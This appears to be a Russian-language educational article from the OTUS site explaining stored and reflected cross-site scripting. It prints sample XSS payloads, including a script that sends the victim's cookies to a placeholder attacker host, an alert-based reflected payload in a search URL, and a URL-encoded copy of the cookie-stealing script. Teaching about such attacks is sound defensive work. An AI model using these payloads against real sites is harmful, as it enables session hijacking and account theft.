Атака на клиентов: Cross-site Scripting | OTUS

Атака на клиентов: Cross-site Scripting

Уязвимость Cross-site Scripting относят к межсайтовому выполнению сценариев. При данной атаке злоумышленник передаёт серверу исполняемый код, который перенаправляется веб-браузеру пользователя. Как правило, вредоносный код создаётся на HTML/JavaScript, однако могут использоваться и другие технологии, поддерживаемые браузером: VBScript, Java, ActiveX, Flash и т. д.

Переданный таким образом код исполняется в зоне безопасности уязвимого сервера. Благодаря таким привилегиям, код может читать, передавать либо даже модифицировать конфиденциальные данные, доступные посредством браузера.

Например, атакованный пользователь может столкнуться с компрометацией аккаунта и кражей cookie-файлов. Также возможно перенаправление браузера пользователя на другой сервер либо осуществление подмены содержимого сервера. По итогу такой атаки хакер сможет использовать для просмотра сайта браузер жертвы и от имени жертвы. Код может передаваться хакером в URL, в HTTP-заголовках запроса (user-agent, cookie, refferer), в значениях полей форм и т. п.

Виды Cross-site Scripting

Выделяют 2 вида атак, обеспечивающих межсайтовое выполнение сценариев: — постоянные (сохранённые) атаки; — непостоянные (отражённые) атаки.

Отличие в том, что во втором варианте передача кода веб-серверу и возврат его клиенту выполняется в рамках одного HTTP-запроса (в первом случае — в разных).

Чтобы реализовать непостоянную атаку, злоумышленнику нужно, чтобы ничего не подозревающий пользователь перешел по ссылке, сформированной хакером (ссылка передаётся по email, через соцсети, мессенджеры и т. д.). При загрузке сайта код, который внедрён в URL либо в заголовки запроса, передаётся клиенту с последующим выполнением в его браузере. Что касается сохранённой разновидности атаки, то она возникает, если код передается веб-серверу, сохраняясь на нём на определённое время. Наиболее популярные цели атак — форумы, чаты, электронная почта с Web-интерфейсом. В этом случае для атаки пользователю совсем не обязательно переходить по ссылке, а достаточно всего лишь посетить уязвимый веб-сайт.

Пример сохраненного варианта атаки

Есть сайт с доской объявлений. Зарегистрированный ранее пользователь идентифицируется по номеру сессии, который сохраняется в cookie. Когда злоумышленник оставляет сообщение, содержащее код на JavaScript, он получает доступ к конфиденциальному идентификатору сессии пользователя.

Посмотрим на образец кода для передачи cookie:

<SCRIPT>document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>

Пример отражённого варианта атаки

Некоторые серверы предоставляют возможность поиска по содержимому. Обычно запрос здесь передаётся в URL и находится в результирующей странице. Допустим, при переходе по URL http://portal.example/search?q= «online courses» пользователь увидит страницу с результатом поиска и фразу: «По запросу online courses найдено 0 страниц». Если же в виде искомой фразы передать Javascript, код выполнится в веб-браузере пользователя.

Как это может выглядеть:

http://portal.example/search/?q=<script>alert ( «xss»)</script>

А чтобы сокрыть код сценария, может быть задействована кодировка URLEncode

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Не пропустите новые полезные статьи!

Спасибо за подписку!

Мы отправили вам письмо для подтверждения вашего email.
С уважением, OTUS!

Автор
0 комментариев
Для комментирования необходимо авторизоваться
Популярное
Сегодня тут пусто